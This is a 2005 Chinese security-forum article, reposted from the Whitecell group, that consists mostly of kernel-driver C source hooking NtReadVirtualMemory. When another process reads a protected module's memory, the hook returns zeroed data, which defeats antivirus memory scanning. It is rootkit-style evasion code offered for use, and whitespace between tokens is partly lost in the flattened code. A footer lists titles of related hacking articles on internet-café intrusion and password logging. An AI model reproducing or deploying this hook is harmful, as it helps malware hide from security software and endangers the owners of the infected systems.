对抗杀毒软件的内存扫描

所属分类: 实用技巧 / 漏洞研究 阅读数: 532
收藏 0 赞 0 分享
Author:  Polymorphours
Email:   Polymorphours@whitecell.org
Homepage:http://www.whitecell.org 
Date:    2005-11-17

/*++        Author: PolymorphoursDate: 2005/1/10通过对 NtReadVirtualMemory 挂钩,防止其他进程对保护的模块进行扫描,如果发现其他进程读被保护模块的内存,则返回0--*/typedef struct _LDR_DATA_TABLE_ENTRY {LIST_ENTRY InLoadOrderLinks;LIST_ENTRY InMemoryOrderLinks;LIST_ENTRY InInitializationOrderLinks;PVOID DllBase;PVOID EntryPoint;ULONG SizeOfImage;UNICODE_STRING FullDllName;UNICODE_STRING BaseDllName;/*+0x034 Flags            : Uint4B+0x038 LoadCount        : Uint2B+0x03a TlsIndex         : Uint2B+0x03c HashLinks        : _LIST_ENTRY+0x03c SectionPointer   : Ptr32 Void+0x040 CheckSum         : Uint4B+0x044 TimeDateStamp    : Uint4B+0x044 LoadedImports    : Ptr32 Void+0x048 EntryPointActivationContext : Ptr32 Void+0x04c PatchInformation : Ptr32 Void*/} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;/*++函数名: MyNtReadVirtualMemory参数:INHANDLEProcessHandle,INPVOIDBaseAddress,OUTPVOIDBuffer,INULONGBufferLength,OUTPULONGReturnLengthOPTIONAL功能:隐藏保护模块的内存,如果发现有内存扫描到这块内存,则返回加密后的数据扰乱扫描过程返回:NTSTATUS--*/NTSTATUSMyNtReadVirtualMemory(INHANDLEProcessHandle,INPVOIDBaseAddress,OUTPVOIDBuffer,INULONGBufferLength,OUTPULONGReturnLengthOPTIONAL){NTSTATUSstatus;PEPROCESSeProcess;PVOIDPeb;PPEB_LDR_DATAPebLdrData;PLDR_DATA_TABLE_ENTRYLdrDataTableHeadList;PLDR_DATA_TABLE_ENTRYLdrDataTableEntry;PLIST_ENTRYBlink;PPROTECT_NODEFileNode = NULL;BOOLEANbHideFlag = FALSE;ULONGImageMaxAddress = 0;/*#ifdef _DEBUGDbgPrint( "Call Process: %s, BaseAddress: %08x\n", PsGetProcessImageFileName( 
PsGetCurrentProcess() ), BaseAddress );#endif*/status =ObReferenceObjectByHandle(ProcessHandle,FILE_READ_DATA,PsProcessType,KernelMode,(PVOID)&eProcess,NULL);if ( NT_SUCCESS(status) ) {//// 得到PEB的地址//Peb = (PVOID)(*(PULONG)((PCHAR)eProcess + PebOffset));//// 切换到目标进程空间//KeAttachProcess( eProcess );//// 判断PEB是否有效,如果有效,那么准备利用PEB结构遍历进程加载的模块//if ( !MmIsAddressValid( Peb ) ) {/*#ifdef _DEBUGDbgPrint( "PEB is error.\n" );#endif*/KeDetachProcess();ObDereferenceObject( eProcess );goto CLEANUP;}PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0xc ));if ( !PebLdrData ) {KeDetachProcess();ObDereferenceObject( eProcess );goto CLEANUP;}try {ProbeForRead ( PebLdrData,sizeof(PEB_LDR_DATA),sizeof(ULONG));//// 遍历模块链表//LdrDataTableHeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData
->InLoadOrderModuleList.Flink;LdrDataTableEntry = LdrDataTableHeadList;do {ProbeForRead(LdrDataTableEntry,sizeof(LDR_DATA_TABLE_ENTRY),sizeof(ULONG));if ( !LdrDataTableEntry->DllBase ) {LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry
->InLoadOrderLinks.Flink;continue;}//// 判断读的内存属于那一个模块,如果都不属于,那么放过//ImageMaxAddress = (ULONG)((ULONG)LdrDataTableEntry->DllBase +
 LdrDataTableEntry->SizeOfImage);if ( (ULONG)( (ULONG)BaseAddress + BufferLength) < 
(ULONG)LdrDataTableEntry->DllBase || (ULONG)BaseAddress > ImageMaxAddress ) { // // 如果不是读模块区域,那么枚举下一个 //LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->
InLoadOrderLinks.Flink;continue;}//// 如果是被保护的模块,那么返回虚假数据//bHideFlag = FALSE;Blink = ProtectFile.Blink;while ( Blink != &ProtectFile ) {FileNode = CONTAINING_RECORD( Blink, PROTECT_NODE, ActiveLink );//// 如果发现当前文件存在于隐藏列表,那么设置隐藏标志隐藏它//if ( wcsstr( FileNode->ProtectName, Ldr
DataTableEntry->FullDllName.Buffer ) ) {bHideFlag = TRUE;break;}Blink = Blink->Blink;}if ( bHideFlag ) {//// 返回原本的进程空间进行处理//KeDetachProcess();ObDereferenceObject( eProcess );ProbeForWrite(Buffer,BufferLength,sizeof(ULONG));memset( Buffer, 0x00, BufferLength );ProbeForWrite(ReturnLength,sizeof(PULONG),sizeof(ULONG));*ReturnLength = BufferLength;return STATUS_SUCCESS;}LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry
->InLoadOrderLinks.Flink;} while ( LdrDataTableEntry != LdrDataTableHeadList );} except( EXCEPTION_EXECUTE_HANDLER ) {if ( !bHideFlag ) {KeDetachProcess();ObDereferenceObject( eProcess );}goto CLEANUP;}KeDetachProcess();ObDereferenceObject( eProcess );}CLEANUP:return NtReadVirtualMemory(ProcessHandle,BaseAddress,Buffer,BufferLength,ReturnLength);}



WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/ 
WSS 论坛:http://www.whitecell.org/forums/ 
更多精彩内容其他人还在看

对Serv-U 6.0.0.2默认帐户及密码的一点理解

对Serv-U 6.0.0.2默认帐户及密码的一点理解
收藏 0 赞 0 分享

用asp记录论坛用户密码(dvbbs,leadbbs等)

用asp记录论坛用户密码(dvbbs,leadbbs等)
收藏 0 赞 0 分享

网吧破解:让你在网吧上霸王网

网吧破解:让你在网吧上霸王网
收藏 0 赞 0 分享

关于对河南网通封锁局域网共享上网的破解

关于对河南网通封锁局域网共享上网的破解
收藏 0 赞 0 分享

网吧入侵之攻无不克!

网吧入侵之攻无不克!
收藏 0 赞 0 分享

老兵新传-各种漏洞的利用和一些搜索参数

这篇文章主要介绍了老兵新传-各种漏洞的利用和一些搜索参数
收藏 0 赞 0 分享

用漏洞提升计算机控制权限(图)

用漏洞提升计算机控制权限(图)
收藏 0 赞 0 分享

从广告邮件到肉鸡成群(图)

从广告邮件到肉鸡成群(图)
收藏 0 赞 0 分享

JSP中的源代码泄漏问题

JSP中的源代码泄漏问题
收藏 0 赞 0 分享

河南移动网络客服系统验证码的缺陷分析和利用!

河南移动网络客服系统验证码的缺陷分析和利用!
收藏 0 赞 0 分享
查看更多